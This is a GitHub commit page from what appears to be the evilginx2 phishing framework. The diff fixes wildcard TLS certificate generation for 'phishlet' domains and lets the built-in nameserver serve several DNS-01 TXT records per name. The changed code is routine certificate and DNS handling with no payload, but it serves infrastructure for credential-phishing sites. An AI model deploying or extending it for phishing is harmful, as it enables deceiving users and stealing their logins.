Skip to content

Commit

Permalink
Fix wildcard cert generation
Browse files Browse the repository at this point in the history
  • Loading branch information
ss23 committed Mar 21, 2023
1 parent 9614883 commit 98fcc25
Show file tree
Hide file tree
Showing 2 changed files with 19 additions and 11 deletions.
10 changes: 8 additions & 2 deletions core/certdb.go
Original file line number Diff line number Diff line change
Expand Up @@ -318,7 +318,11 @@ func (d *CertDb) obtainPhishletCertificate(site_name string, base_domain string,
}
crt_dir := filepath.Join(d.dataDir, base_domain)

cert_res, err := d.registerCertificate(domains)
// Make sure we get a certificate for the base domain
domain_prefix := base_domain[strings.Index(base_domain, ".")+1:]
log.Info("Hostname: %v, Hostname prefix: %v", base_domain, domain_prefix)

cert_res, err := d.registerCertificate([]string{domain_prefix, "*." + domain_prefix})
if err != nil {
return err
}
Expand Down Expand Up @@ -363,7 +367,9 @@ func (d *CertDb) registerCertificate(domains []string) (*certificate.Resource, e
return nil, err
}

d.client.Challenge.SetDNS01Provider(evilginx2DNS)
d.client.Challenge.SetDNS01Provider(evilginx2DNS,
dns01.DisableCompletePropagationRequirement(),
)
d.client.Challenge.Remove(challenge.TLSALPN01)
d.client.Challenge.Remove(challenge.HTTP01)

Expand Down
20 changes: 11 additions & 9 deletions core/nameserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ type Nameserver struct {
srv *dns.Server
cfg *Config
serial uint32
txt map[string]TXTField
txt map[string][]TXTField
}

type TXTField struct {
Expand All @@ -28,7 +28,7 @@ func NewNameserver(cfg *Config) (*Nameserver, error) {
serial: uint32(time.Now().Unix()),
cfg: cfg,
}
n.txt = make(map[string]TXTField)
n.txt = make(map[string][]TXTField)

n.Reset()

Expand All @@ -54,11 +54,11 @@ func (n *Nameserver) AddTXT(fqdn string, value string, ttl int) {
value: value,
ttl: ttl,
}
n.txt[fqdn] = txt
n.txt[fqdn] = append(n.txt[fqdn], txt)
}

func (n *Nameserver) ClearTXT() {
n.txt = make(map[string]TXTField)
n.txt = make(map[string][]TXTField)
}

func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
Expand Down Expand Up @@ -103,14 +103,16 @@ func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
}
case dns.TypeTXT:
log.Debug("DNS TXT: " + strings.ToLower(r.Question[0].Name))
txt, ok := n.txt[strings.ToLower(m.Question[0].Name)]
txts, ok := n.txt[strings.ToLower(m.Question[0].Name)]

if ok {
rr := &dns.TXT{
Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: uint32(txt.ttl)},
Txt: []string{txt.value},
for _, txt := range txts {
rr := &dns.TXT{
Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: uint32(txt.ttl)},
Txt: []string{txt.value},
}
m.Answer = append(m.Answer, rr)
}
m.Answer = append(m.Answer, rr)
}
}
w.WriteMsg(m)
Expand Down

0 comments on commit 98fcc25

Please sign in to comment.